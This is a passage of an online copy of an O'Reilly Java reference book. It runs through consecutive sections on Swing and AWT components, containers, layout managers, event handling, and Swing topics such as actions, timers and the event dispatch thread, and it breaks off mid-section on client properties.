JTree | A powerful component for the display of tree-structured data. Data values are typically strings, but the component can be customized to display any kind of data. Used in conjunction with the javax.swing.tree package.
Previous | Home | Next
2.1. A Simple Graphical User Interface | Book Index | 2.3. Properties
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Properties (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

2.3. Properties

Every AWT and Swing component can have its appearance and behavior customized by specifying values for its properties. In Example 2-1, we set the text property of the JButton components by calling the setText() method and the border property of the JLabel by calling setBorder().

The properties of a component are not a formal part of a Java class, in the way that the fields and methods of a class are. Instead, the notion of properties is merely a naming convention adopted from the JavaBeans component framework. When a component defines a pair of public accessor methods whose names begin with "set" and "get", this pair of methods defines a property. For example, the methods setFont() and getFont() define the font property of a component. When a property is of type boolean, the "get" accessor method is often replaced with one that begins with "is". For example, the setVisible() and isVisible() methods define the visible property.

Although any given component may define only a few properties of its own, every component inherits the properties of its superclasses. If you refer to the reference pages for JComponent, Component, and MenuComponent, you'll see that there are quite a few of these inherited properties.

Thinking about GUI components in terms of the properties they define and the properties they inherit is useful because it conveniently sums up the customizable state of the component. Looking at a list of component properties tells you a lot about what you can do with the component. This is so useful, in fact, that the reference section of this book groups property accessor methods separately from other methods.

Previous | Home | Next
2.2. Components | Book Index | 2.4. Containers and Containment
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Containers and Containment (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

2.4. Containers and Containment

Table 2-1 and Table 2-2 listed the GUI components available in the AWT and Swing toolkits. In order to create a graphical user interface, however, these individual components must be arranged within some kind of container. A container is a component that can contain other components. All containers inherit from the java.awt.Container base class, which itself inherits from java.awt.Component.

Main application windows and dialog boxes are commonly used containers. Each provides a window within which GUI components can be arranged to create a user interface. A graphical application does not usually arrange all its components directly within a window or dialog box, however. Instead, an application typically uses containers nested within other containers. For example, a dialog box that contains two columns of text input fields above a row of push buttons might use three separate containers, one for each column of text fields and one for the row of push buttons. Then the dialog box container contains only these three containers, instead of the full set of text fields and push buttons.

Some kinds of containers display their children in very specific ways, while others have restrictions on the number or type of components they can display. Some other containers are generic, so they can contain any number of children, arranged in any way. A generic container uses a layout manager to specify how its children should be arranged (as we'll discuss in the next section).

Table 2-3 lists the containers provided by AWT (in the java.awt package), and Table 2-4 lists the additional containers provided by Swing (in javax.swing). Menus and menu bars, such as javax.swing.JMenuBar and javax.swing.JPopupMenu, are containers. Because of their highly specialized use, however, I have listed them in the earlier tables of components. Also, the JComponent class extends java.awt.Container, which means that all Swing components are actually containers. In practice, however, they are not used this way; only the Swing classes listed in Table 2-4 are typically used as containers.

Table 2-3. AWT Containers

Container | Description
Applet | This subclass of Panel is actually part of the java.applet package. It is the base class for all applets. (See Chapter 7, "Applets".)
Container | The base class from which all containers inherit.
Dialog | A window suitable for dialog boxes.
Frame | A window suitable for use as the main window of an application. In AWT, Frame is the only container that can contain a MenuBar and related menu components.
Panel | A generic container used to create nested layouts.
ScrollPane | A container that contains a single child and allows that child to be scrolled vertically and horizontally.
Window | A heavyweight window with no titlebar or other decoration, suitable for pop-up menus and similar uses.

Table 2-4. Swing Containers

Container | Description
Box | A general-purpose container that arranges children using the BoxLayout layout manager.
JApplet | A java.applet.Applet subclass that contains a JRootPane to add Swing features, such as support for menu bars to applets. Applets are discussed in Chapter 7, "Applets".
JDesktopPane | A container for JInternalFrame components; simulates the operation of a desktop within a single window. Supports MDI (multiple document interface) application styles.
JDialog | The container used to display dialog boxes in Swing.
JFrame | The container used for top-level windows in Swing.
JInternalFrame | A lightweight nested window container. Behaves like a JFrame and displays a titlebar and resize handles but is not an independent window and is constrained to appear within the bounds of its parent container. Often used with JDesktopPane.
JLayeredPane | A container that allows its children to overlap and manages the stacking order of those children.
JPanel | A generic container for grouping Swing components. Typically used with an appropriate LayoutManager.
JRootPane | A complex container used internally by JApplet, JDialog, JFrame, JInternalFrame, and JWindow. Provides a number of important Swing capabilities to these top-level containers.
JScrollPane | A container that allows a single child component to be scrolled horizontally or vertically. Supports scrolling and non-scrolling header regions at the top and left of the scrolling region.
JSplitPane | A container that displays two children by splitting itself horizontally or vertically. Allows the user to adjust the amount of space allocated to each child.
JTabbedPane | A container that displays one child at a time, allowing the user to select the currently displayed child by clicking on tabs like those found on manila file folders.
JViewport | A fixed-size container that displays a portion of a single larger child. Typically used as part of a JScrollPane.
JWindow | A top-level Swing window that does not display a titlebar, resize handles, or any other decorations.

When building a graphical user interface, you must create your components, create the containers that will hold those components, and then add the components to the containers. You do this with one of the add() methods defined by java.awt.Container. In its simplest form, this process looks like this:

JButton b = new JButton("Push Me");
JPanel p = new JPanel();
p.add(b);

There are other versions of the add() method as well. In addition to specifying the component to add, you may also specify a string or an object as a constraint. The container may use this constraint object as a hint that tells it how the component should be arranged in the container. In practice, containers do not use the constraint directly, but pass it on to a layout manager, as we'll discuss shortly.

In Swing, the top-level containers JFrame, JDialog, JInternalFrame, JWindow, and JApplet are used slightly differently than containers such as JPanel, JSplitPane, and JTabbedPane.

I've said that all Swing components extend JComponent. JFrame, JInternalFrame, JDialog, JWindow, and JApplet are actually exceptions to this rule. These top-level Swing containers extend their corresponding AWT containers: Frame, Dialog, Window, and java.applet.Applet. Because these container classes do not extend JComponent, they do not inherit the Swing-specific features of JComponent.

Instead, when you create a JFrame, JInternalFrame, JDialog, JWindow, or JApplet container, the container automatically creates a single child for itself. The child is a JRootPane container. JRootPane does extend JComponent, and it is this automatically created JRootPane that will hold all of the components that are placed in the container. You cannot add children directly to the top-level container. Instead, you add them to the content pane of the JRootPane. All Swing containers that use a JRootPane implement the RootPaneContainer interface. This interface defines the getContentPane() method, which returns the container that you should use. This is not as confusing as it sounds. In practice, your code looks like this:

JButton b = new JButton("Press Me");        // Create a button
JFrame f = new JFrame("Test Application");  // Create a window to display it
f.getContentPane().add(b);                  // Add the button to the window

By default, getContentPane() returns a JPanel container, but you can override this default by creating a container of your own and passing it to setContentPane().

The JRootPane container is a complex one; it contains a number of children in addition to the content pane container. These children support features such as pop-up menus and are primarily for internal use by Swing. One notable and commonly used feature of JRootPane, however, is that it displays a JMenuBar passed to its setJMenuBar() method. (In AWT, you specify a MenuBar for a Frame by calling the setMenuBar() method of Frame.)

Previous | Home | Next
2.3. Properties | Book Index | 2.5. Layout Management
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Layout Management (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

2.5. Layout Management

Some containers, such as JTabbedPane and JSplitPane, define a particular arrangement for their children. Other containers such as JPanel (and JFrame, JDialog, and other top-level containers that use JPanel as their default content pane) do not define any particular arrangement. When working with containers of this type, you must specify a LayoutManager object to arrange the children within the container.

AWT and Swing include various implementations of the java.awt.LayoutManager interface. Each arranges components in a different way. Table 2-5 lists the layout managers defined by AWT. Swing applications often rely on these AWT layout managers, but Swing also defines some of its own, which are listed in Table 2-6. Figure 2-2 shows how some of these layout managers arrange their children.

Table 2-5. AWT Layout Managers

Layout Manager | Description
BorderLayout | Lays out a maximum of five components: one along each of the four borders of the container and one in the center. When using this layout manager, you must add components to the container using a two-argument version of the add() method. The constraint argument should be one of the strings "North", "East", "South", "West", or "Center". Despite the simplicity of this layout system, this layout manager is used quite often.
CardLayout | Makes each component as large as the container and displays only one at a time. Various methods change the currently displayed component.
FlowLayout | Arranges components like words on a page: from left to right in rows and then top to bottom as each row fills up. Rows may be left, center, or right justified.
GridBagLayout | A flexible layout manager that arranges components in a grid with variable-sized cells. Allows explicit control over the way each component is resized when the container changes size. Requires a complex constraints set specified with the GridBagConstraints object.
GridLayout | Makes all components the same size and arranges them in a grid of specified dimensions.

Figure 2-2. Layout managers

Table 2-6. Swing Layout Managers

Layout Manager | Description
BoxLayout | The layout manager used by the Box container. It arranges its children into either a row or a column. It uses the glue and strut components returned by static Box methods to display stretchy and rigid spaces between the children.
OverlayLayout | An obscure and infrequently used layout manager that overlaps its children based on the children's alignment values specified with the setAlignmentX() and setAlignmentY() methods inherited from JComponent. Used by AbstractButton.
ScrollPaneLayout | A specialized layout manager used by JScrollPane. Not typically useful for general-purpose layouts.
ViewportLayout | A specialized layout manager used by JViewport. Not useful for general-purpose layouts.

Some layout managers require additional information about the components they are to arrange. This information takes the form of a constraint string or constraint object passed to the add() method when the component is added to its container. java.awt.BorderLayout is the most commonly used of these layout managers: its constraint object is a string that specifies where the child should be positioned within the container. Example 2-1 showed a typical use of BorderLayout.

Every AWT and Swing container has a default layout manager. If you explicitly set the layout manager to null, however, you can arrange your components using hardcoded sizes and positions. Set the size and position with methods such as setSize() and setLocation(). However, hardcoding the layout of your components makes your GUI less portable, harder to customize, and harder to translate into other languages.

Previous | Home | Next
2.4. Containers and Containment | Book Index | 2.6. Event Handling
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Event Handling (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

2.6. Event Handling

Using a layout manager to arrange components within a container may result in a GUI that looks good, but in order to make it do anything, you have to handle events. An event typically signifies an action by the user, such as striking a key or clicking the mouse over a JButton component. But it can also refer to any other action performed by the user or the program. An event can be generated when the value of component's property changes or when a specified amount of time elapses, for example.

The event model used in Java changed between Java 1.0 and Java 1.1. The Java 1.1 event model is used by AWT and Swing in Java 1.1 and Java 1.2. The Java 1.0 event model is largely obsolete; we'll discuss it in Chapter 7, "Applets", however, since some web browsers still only support Java 1.0.

2.6.1. Event Objects

Different types of events are represented by different Java classes. The base class, from which all events inherit, is java.util.EventObject. AWT defines its own base class for GUI events, java.awt.AWTEvent, which is subclassed from EventObject. AWT then defines a number of subclasses of AWTEvent in the package java.awt.event. Swing uses many of these event types and also defines more of its own in the javax.swing.event package. Some Swing events subclass AWT events, but many subclass java.util.EventObject directly. There is one other kind of event used by Swing components: the java.beans.PropertyChangeEvent, which is part of the JavaBeans component model.

The base EventObject class defines a getSource() method that returns the object that generated or triggered the event. AWTEvent defines the getID() method; the value returned by this method is used to distinguish the various types of events that are represented by the same event class. For example, FocusEvent has two possible types: FocusEvent.FOCUS_GAINED and FocusEvent.FOCUS_LOST.

In addition to these getSource() and getID() methods, the various event subclasses define methods to return whatever data values are pertinent to the particular event type. For example, MouseEvent has getX(), getY(), and getClickCount() methods; it also inherits the getModifiers() and getWhen() methods, among others, from its superclass InputEvent. Thus, when the user clicks the mouse, you receive a MouseEvent that specifies where, when, and how many times the user clicked, along with other information, such as the set of keyboard modifier keys that were held down at the time.

2.6.2. Event Listeners

An object that would like to be notified of and respond to an event is an event listener. An object that generates a particular kind of event, called an event source, maintains a list of listeners that are interested in being notified when that kind of event occurs. The event source provides methods that allow listeners to add and remove themselves from this list of interested objects. When the event source generates an event (or when a user input event such as a mouse click or a key press occurs on the event source object), the event source notifies all the listener objects that the event has occurred.

All AWT and Swing components are event sources, and all of them define (or inherit) methods for adding and removing event listeners. By convention, these methods have names that begin with "add" or "remove" and end with "Listener". So, for example, the JButton class inherits the addActionListener() and removeActionListener() methods. In the reference section of this book, you'll notice that the event registration methods of a component are grouped separately, just as the property accessor methods are. This is because one of the most important things you need to know about a component is the list of event types that it can generate.

Each type of event object typically has a corresponding event listener type. The ActionEvent event type has an ActionListener listener type, for example. Event listeners, such as ActionListener, are interfaces that extend java.util.EventListener. EventListener doesn't define any methods; it is merely a marker interface that gives all event listeners a common type. An event listener interface defines one or more methods that an event source may invoke when a particular type of event occurs. Such a method always takes an event object as its single argument. For example, the ActionListener interface defines a single method, actionPerformed(). When the user clicks on a JButton component, an ActionEvent representing that click is created and passed to the actionPerformed() method of each ActionListener object that was registered on the JButton with the addActionListener() method.

An event listener interface may define more than one method. For example, MouseListener defines several methods that correspond to different types of mouse events, including button press events and button release events. This is because MouseEvent represents several different types of mouse events. By convention, each method of an event listener is passed a single argument that is an event object of the type that corresponds to the listener. Thus, a MouseEvent object is always created when a mouse event occurs, but the object is passed to a different listener method depending on the type of mouse event that occurred.

2.6.3. Event Adapters

When an event listener interface defines more than one method, it is often accompanied by an event adapter class that provides empty implementations for each of the methods. For example, the MouseListener interface defines five different methods. If your program is interested only in the mouseClicked() method, it may be easier for you to subclass the MouseAdapter class and override mouseClicked() than to implement all five methods of the MouseListener interface directly.

2.6.4. Event Handling with Inner Classes

An important point to notice about the Java event handling model is that, in order to receive an event notification, you must implement an appropriate event listener interface. Sometimes you do this directly in your main application class. For example, an object interested in action and focus events might simply implement ActionListener and FocusListener directly.

However, it is also quite common to create special classes for the sole purpose of handling events. This is usually done with inner classes, as we saw in Example 2-1. With this event-handling paradigm, you create a simple inner class to handle each event type that you are interested in for a particular event source. Your code might look like this:

JFrame window = new JFrame("test application");
window.addFocusListener(new FocusListener() {
  public void focusGained(FocusEvent e) { /* gain focus code here */ }
  public void focusLost(FocusEvent e) {   /* lose focus code here */ }
});

You can also use this approach with an event adapter class, instead of an event listener interface. For example:

Panel panel = new Panel();
panel.addMouseListener(new MouseAdapter() {
  public void mouseClicked(MouseEvent e) { /* mouse click code here */ }
});

2.6.5. Handling Input Events Directly

Certain types of events occur as a direct result of user input. When the user types a key or moves the mouse, for example, a KeyEvent or MouseEvent is generated. Similarly, when the user resizes a window or transfers keyboard focus to a new component, a FocusEvent or ComponentEvent is generated. These types of events represent event notifications generated by the underlying native windowing system or operating system. Other types of events, such as ActionEvent and PopupMenuEvent, do not originate in the native windowing system. Instead, these events are generated directly by AWT and Swing components.

The distinction between these types of events becomes more clear when you implement a component yourself. Consider the JButton component, for example. It receives MouseEvent events and generates ActionEvent events in response to them. For a component like this, it is not particularly appropriate or efficient to use a MouseListener object to receive mouse events.

The Java event model provides a low-level way to handle input events that originate in the underlying windowing system. When such an event occurs, it is passed to the processEvent() method of the Component on which it occurs. This method examines the type of event and invokes an appropriate method to handle the event. These methods are: processMouseEvent(), processMouseMotionEvent(), processKeyEvent(), processFocusEvent(), processComponentEvent(), and processInputMethodEvent(). By default, each method simply invokes the appropriate methods on the appropriate event listeners. When you subclass a component, however, you can override any of these protected methods to perform any other type of event handling you desire. When you override one of these methods, you should usually remember to invoke the superclass method as well, so that the appropriate event listeners are notified.

There is one additional requirement to make this low-level Java 1.1 event model work. In order to receive events of a particular type for a particular component, you must tell the component that it is interested in receiving that type of event. If you do not, events of that type are simply not delivered to the component, at least on some operating systems. With event listeners, the act of registering a listener is sufficient to tell the component what kinds of events it should request. However, when you are using the processXXXEvent() methods directly, you must first call another protected method, enableEvents(), and pass in a bit mask that specifies the types of events you are interested in. The bit mask is formed by ORing together various EVENT_MASK constants that are defined by java.awt.AWTEvent. For example:

this.enableEvents(AWTEvent.MOUSE_EVENT_MASK | AWTEvent.KEY_EVENT_MASK);

2.6.6. Event Reference

AWT and Swing define quite a few event objects, event listeners, and event adapters in the java.awt.event and javax.swing.event packages. Fortunately, all these classes and interfaces follow the same basic naming conventions. For an event X, the event object is named X Event, the listener interface is X Listener, and the adapter, if one is defined is X Adapter. The event listener interface defines methods that vary by event type, but every event listener method returns void and accepts the corresponding event object as its single argument. The only significant variation from these rules is that the java.awt.MouseListener and java.awt. MouseMotionListener listeners both work with MouseEvent events--there is no separate MouseMotionEvent.

You can find a list of the events generated by any given component by turning to its reference page and looking at the event listener registration methods for that component. Remember, too, that the component may also inherit events. Table 2-7 and Table 2-8 work in the opposite direction. For a given event listener type, these tables list the components that can generate events of that type. (Note, however, that they do not list classes that inherit events of that type.) These tables also list the names of the methods defined by each event listener interface. You can learn a lot about the intended usage of an event simply by looking at the list of listener methods to which it can be passed.

Table 2-7 shows the event listeners defined by AWT. These event types are not restricted to AWT components; Swing components use them too, as do some other Swing classes that are not components. Table 2-8 displays the event listeners defined by Swing. Note that I have also added two event listeners defined in the java.beans package, but used by Swing components, to this table.

Table 2-7. AWT Event Listeners and the Components That Use Them

Event Listener | Listener Methods | Registered on
ActionListener | actionPerformed() | AbstractButton, Button, ButtonModel, ComboBoxEditor, JComboBox, JFileChooser, JTextField, List, MenuItem, TextField, Timer
AdjustmentListener | adjustmentValue- | Adjustable,
 | Changed() | JScrollBar, Scrollbar
ComponentListener | componentHidden(), componentMoved(), componentResized(), componentShown() | Component
ContainerListener | componentAdded(), componentRemoved() | Container
FocusListener | focusGained(), focusLost() | Component
ItemListener | itemStateChanged() | AbstractButton, ButtonModel, Checkbox, CheckboxMenuItem, Choice, ItemSelectable, JComboBox, List
KeyListener | keyPressed(), keyReleased(), keyTyped() | Component
MouseListener | mouseClicked(), mouseEntered(), mouseExited(), mousePressed(), mouseReleased() | Component
MouseMotionListener | mouseDragged(), mouseMoved() | Component
TextListener | textValueChanged() | TextComponent
WindowListener | windowActivated(), windowClosed(), windowClosing(), windowDeactivated(), windowDeiconified(), windowIconified(), windowOpened() | Window

Table 2-8. Swing Event Listeners and the Components That Use Them

Event Listener | Listener Methods | Registered on
AncestorListener | ancestorAdded(), ancestorMoved(), ancestorRemoved() | Action, JComponent
CaretListener | caretUpdate() | JTextComponent
CellEditorListener | editingCanceled(), editingStopped() | CellEditor,
ChangeListener | stateChanged() | AbstractButton, BoundedRangeModel, ButtonModel, JProgressBar, JSlider, JTabbedPane, JViewport, MenuSelectionManager, SingleSelectionModel
HyperlinkListener | hyperlinkUpdate() | JEditorPane
InternalFrameListener | internalFrame- Activated (), internalFrameClosed(), internalFrameClosing()internalFrame- Deactivated(), internalFrame- Deiconified(), internalFrame- Iconified()internalFrameOpened() |
ListDataListener | contentsChanged(), intervalAdded(), intervalRemoved() | AbstractListModel, ListModel
ListSelectionListener | valueChanged() | JList, ListSelectionModel
MenuDragMouseListener | menuDragMouseDragged(), menuDragMouseEntered(), menuDragMouseExited(), menuDragMouseReleased() | JMenuItem
MenuKeyListener | menuKeyPressed(), menuKeyReleased(), menuKeyTyped() | JMenuItem
MenuListener | menuCanceled(), menuDeselected(), menuSelected() | JMenu
PopupMenuListener | popupMenuCanceled(), | JPopupMenu
 | popupMenuWillBecome- |
 | Invisible(), |
 | popupMenuWillBecome- |
 | Visible() |
TreeExpansionListener | treeCollapsed(), treeExpanded() | JTree
TreeSelectionListener | valueChanged() | JTree
TreeWillExpandListener | treeWillCollapse(), treeWillExpand() | JTree
java.beans.- | propertyChange() | Action, JComponent,
PropertyChangeListener |  | UIDefaults, UIManager
java.beans.- | vetoableChange() | JComponent
VetoableChangeListener |  |
Previous | Home | Next
2.5. Layout Management | Book Index | 2.7. Swing Component Architecture
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Swing Component Architecture (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

2.7. Swing Component Architecture

So far, we have treated components as single, self-contained GUI building blocks. And indeed, components can be written to be entirely self-contained. However, neither AWT nor Swing components are actually self-contained. As I mentioned earlier, each AWT component is simply a frontend for an underlying native user-interface object. AWT delegates all the display and event processing--that is, the look-and-feel--to these native GUI elements.

Swing components are not self-contained either. Most Swing components rely on two other objects: a user-interface (UI) delegate object and a model object. Swing supports a pluggable look-and-feel architecture, which means that a Swing application can control the appearance and behavior of its user-interface. Thus, a Swing application can be displayed in a platform-independent way or in a way that mimics the native look-and-feel of the underlying platform, for example. In order to implement the pluggable look-and-feel architecture, every Swing component must delegate its display and event-handling functions to a separate object: the UI delegate. Fortunately, you can use Swing without ever thinking about the pluggable look-and-feel. That's because, when you create a Swing component, an appropriate UI delegate object is automatically created for it.

The model object for a Swing component is responsible for storing the state of the component. For example, the JToggleButton uses an implementation of the ButtonModel interface as its model. This ButtonModel object remembers whether the button is currently selected. As another example, the JScrollBar, JSlider, and JProgressBar components use a BoundedRangeModel object to keep track of their state. This state includes minimum, maximum, and current values.

Most Swing components automatically create the model objects they rely on, so you can use these components without ever worrying about model objects. When working with more complicated components, however, models become more important. For example, the JTree component uses a javax.swing.tree.TreeModel object to represent the data it is to display. The JTree component can be used to display many kinds of hierarchically structured data. JTree does not require you to convert your data into some predefined data format, however. Instead, you implement the TreeModel interface in a way that allows JTree to understand the data. For example, to use a JTree component to display files in the filesystem, you might define a FileTreeModel class that implements the TreeModel interface on top of the capabilities of the java.io.File class. Or, if you want to use JTree to display the structure of an XML document, you might create an implementation of TreeModel that works with the parse tree returned by an XML parsing class.

The JTable component is another for which the use of a separate model object is particularly important. JTable can be used to display a tabular view of data, even when that data is not tabular by nature. To do so, you implement the javax. swing.table.TableModel interface to provide a neat, tabular view of the data.

One advantage of this model object approach, where the actual data is separated from the component's view of that data, is that you can define multiple views of the same data. For example, if you have a large set of tabular data that implements the TableModel interface, you can have two or more JTable components that display different portions of that data at the same time. When you are writing an application that manipulates complex data structures, you should consider designing these structures so that they implement appropriate Swing model interfaces. If you do this, you'll be able to trivially display your data using Swing components. See Chapter 3, "Swing Programming Topics", for more information about implementing TreeModel and TableModel.

Previous | Home | Next
2.6. Event Handling | Book Index | 3. Swing Programming Topics
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Swing Programming Topics (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 3. Swing Programming Topics

Contents:

Versions of Swing
Labels and HTML
Actions
Tooltips
Timers
The Event Dispatch Thread
Client Properties
Keyboard Shortcuts
Serialization
Borders
Icons
Cursors
Double-Buffering
The Box Container
Simple Dialogs
JFileChooser
JColorChooser
Menus
JTree and TreeModel
JTable and TableModel
JTextComponent and HTML Text Display
Pluggable Look-and-Feel
Accessibility
Custom Components

The last chapter provided an architectural overview of AWT and Swing; it explained how to create a graphical user interface by placing components inside containers, arranging them with layout managers, and handling the events that they generate. This chapter builds on that architectural foundation and introduces many other important features of Swing. Most of the topics discussed herein are independent of one another, so you can think of each section as a short essay on a particular topic, where the sections can be read in any order.

This chapter introduces many of the new components and features of Swing, but it cannot cover them in full detail. For more information on the topics covered herein, see Java Swing, by Robert Eckstein, Marc Loy, and Dave Wood (O'Reilly).

3.1. Versions of Swing

Swing is a core part of the Java 2 platform, so many developers will simply obtain the Swing libraries when they download the Java 2 SDK. Swing is also available as a separate download for use as an extension to Java 1.1. When you download Swing independently of the SDK, you must pay attention to the Swing version number. Swing 1.0.3 is an early version of Swing that was released before Version 1.2 of Java 2. It is now outdated and is not documented in this book. Swing 1.1 is the version of Swing that is being bundled with Java 1.2. You can download a version of it for use with Java 1.1 from http://java.sun.com/products/jfc/.

As this book goes to press, the most recent version of Swing is Swing 1.1.1. This version of Swing is bundled with Java 1.2.2 and is also available for use with Java 1.1 from the web site mentioned in the previous paragraph. Swing 1.1.1 fixes many bugs in the initial release of Swing 1.1 but does not change the Swing 1.1 API in any way. Its use is strongly recommended. Swing 1.1.1 is the last release of Swing that will be available for use with Java 1.1.

Development of Swing continues, and Java 1.3 will ship with a new version that includes a number of minor changes and improvements to the Swing API. This future release will focus on improving the existing APIs and should not add many new APIs.

Previous | Home | Next
2.7. Swing Component Architecture | Book Index | 3.2. Labels and HTML
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Labels and HTML (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.2. Labels and HTML

In the initial releases of Swing 1.1 and Java 1.2, the JLabel, JButton, and related classes that display textual labels can display only a single line of text using a single font. In Swing 1.1.1 and Java 1.2.2, however, components like these can display multiline, multifont text using simple HTML formatting. To display formatted text, simply specify a string of HTML text that begins with an <HTML> tag. You can use this feature to present text using multiple fonts, font styles, and colors. Just as important, however, the introduction of HTML allows you to specify multiline labels.

This new formatted text display feature is available in Java 1.2.2 for the JLabel, JButton, MenuItem, JMenu, JCheckBoxMenuItem, JRadioButtonMenuItem, JTabbedPane, and JToolTip classes. It is not supported (at least in Java 1.2.2) by JCheckBox or JRadioButton, however. Formatted text display is particularly useful with JOptionPane dialog boxes (described later in this chapter), as they display text using internal JLabel objects.

Previous | Home | Next
3.1. Versions of Swing | Book Index | 3.3. Actions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Actions (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.3. Actions

A GUI application often allows a user to invoke an operation in a number of different ways. For example, the user may be able to save a file by either selecting an item from a menu or clicking on a button in a toolbar. The resulting operation is exactly the same; it is simply presented to the user through two different interfaces.

Swing defines a simple but powerful javax.swing.Action interface that encapsulates information about such an operation. The Action interface extends the ActionListener interface, so it contains the actionPerformed() method. It is this method that you implement to actually perform the desired action. Each Action object also has an arbitrary set of name/value pairs that provide additional information about the action. The values typically include: a short string of text that names the operation, an image that can be used to represent the action graphically, and a longer string of text suitable for use in a tooltip for the action. In addition, each Action object has an enabled property and a setEnabled() method that allows it to be enabled and disabled. (If there is no text selected in a text editor, for example, the "Cut" action is usually disabled.)

You can add an Action object directly to a JMenu or JToolBar component. When you do this, the component automatically creates a JMenuItem or JButton to represent the action, making the action's operation available to the user and displaying the action's textual description and graphical image as appropriate. When an action is disabled, the JMenuItem or JButton component that represents the action displays it in a grayed-out style and does not allow it to be selected or invoked.

One shortcoming of working with actions is that there is no way to tell a JMenuBar or JToolBar to display just text or just icons for actions. Although you might like an action's name to be displayed in a menu and its icon to be displayed in a toolbar, both JMenuBar and JToolBar display an action's textual name and its icon.

The Action interface helps you implement a clean separation between GUI code and application logic. Remember, however, that you cannot just instantiate Action objects directly. Since Action is a kind of ActionListener, you must define an individual subclass of Action that implements the actionPerformed() method for each of your desired actions. The AbstractAction class is helpful here; it implements everything except the actionPerformed() method.

Previous | Home | Next
3.2. Labels and HTML | Book Index | 3.4. Tooltips
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Tooltips (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.4. Tooltips

A Swing component can display context-sensitive help to the user in the form of a tooltip: a small window that pops up when the user lets the mouse rest over the component. You can display text in this window that explains the purpose or function of the component. Specify this text with the setToolTipText() method. This toolTipText property is inherited from JComponent, so it is shared by all Swing components.

While it is a good idea to provide tooltips for the benefit of your novice users, your experienced users may find them annoying, so it is nice to provide a way to turn them off. You can do this programatically by setting the enabled property of the ToolTipManager object. The code looks like this:

ToolTipManager.sharedInstance().setEnabled(false);
Previous | Home | Next
3.3. Actions | Book Index | 3.5. Timers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Timers (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.5. Timers

The javax.swing.Timer object generates single or multiple ActionEvent events at time intervals that you specify. Thus, a Timer is useful for performing a repeated operation like an animation. They are also useful for triggering operations that must occur at some point in the future. For example, an application might display a message in a status line and then set up a Timer object that erases the message after 5,000 milliseconds. These operations can also be performed with threads, of course, but since Swing is not designed for thread safety, it is usually more convenient to use a Timer.

You use Timer objects just like regular components. A Timer has property accessor methods and an addActionListener() method that you can use to add event listeners. The initialDelay property specifies how many milliseconds the Timer waits before firing its first ActionEvent. If the repeats property is true, the Timer generates a new ActionEvent each time delay milliseconds passes. When an application (or the system in general) is very busy or when the delay property is very small, the timer may fire events faster than the application can process them. If the coalesce property is true, the Timer combines multiple pending events into a single ActionEvent, rather than letting a queue of unprocessed events build up.

Previous | Home | Next
3.4. Tooltips | Book Index | 3.6. The Event Dispatch Thread
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Event Dispatch Thread (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.6. The Event Dispatch Thread

For efficiency reasons, Swing components are not designed to be thread safe. This means that Swing components should be manipulated by a single thread at a time. The easiest way to ensure this is to do all your GUI manipulations from the event dispatch thread. Every GUI application has an event dispatch thread: it is the thread that waits for events to occur and then dispatches those events to the appropriate event handlers. All of your event listener methods are invoked by the event dispatch thread, so any GUI manipulations you perform from an event listener are safe.

There are times, however, when you need to update your UI in response to some kind of external event, such as a response from a server that arrives in a separate thread. To accommodate these situations, Swing provides two utility methods that allow you ask the event dispatch thread to run arbitrary code. The methods are SwingUtilities.invokeLater() and SwingUtilities.invokeAndWait(). You pass a Runnable object to each method, and the run() method of this object is invoked from the event thread. invokeLater() returns right away, regardless of when the run() method is invoked, while invokeAndWait() does not return until the run() method has completed.

The invokeLater() and invokeAndWait() methods do not run your Runnable object right away. Instead, each method encapsulates the Runnable object within a special event object and places the event on the event queue. Then, when all pending events have been handled, the Runnable object is extracted from the event queue and the event dispatch thread calls its run() method. This means that invokeLater() provides a useful way to defer the execution of some chunk of code until after all pending events have been processed. There are times when you may even want to do this with code that is already running within the event dispatch thread.

Previous | Home | Next
3.5. Timers | Book Index | 3.7. Client Properties
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Client Properties (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.7. Client Properties

In addition to its normal set of properties, JComponent includes a hashtable in which it can store arbitrary name/value pairs. These name/value pairs are called client properties, and they can be set and queried with the putClientProperty() and getClientProperty() methods. Since these are JComponent methods, they are inherited by all Swing components. Although both the name and value of a client property can be arbitrary objects, the name is usually a String object.

Client properties allow arbitrary data to be associated with any Swing component. This can be useful in a number of situations. For example, suppose you've created a JMenu that contains 10 JMenuItem components. Each component notifies the same ActionListener object when it is invoked. This action listener has to decide which of the 10 menu items invoked it and then perform whatever action is appropriate for that menu item. One way the action listener can distinguish among the menu items is by looking at the text that each displays. But this approach doesn't work well if you plan to translate your menu system into other languages. A better approach is to use the setActionCommand() method (inherited from AbstractButton) to associate a string with each of the JMenuItem components. Then the action listener can use this string to distinguish among the various menu items. But what if the action listener needs to check some kind of object other than a String in order to decide how to process the action event? Client properties are the solution: they allow you to associate an arbitrary object (or multiple objects) with each JMenuItem.

Client properties are used within Swing to set properties that are specific to a single look-and-feel implementation. For example, the default Java look-and-feel examines the client properties of a few components to obtain additional information about how it should display the components. Here are some details on these particular client properties:

"JInternalFrame.isPalette"

When a JInternalFrame is being used as a floating palette, set this client property to Boolean.TRUE to change the look of the border.

"JScrollBar.isFreeStanding"

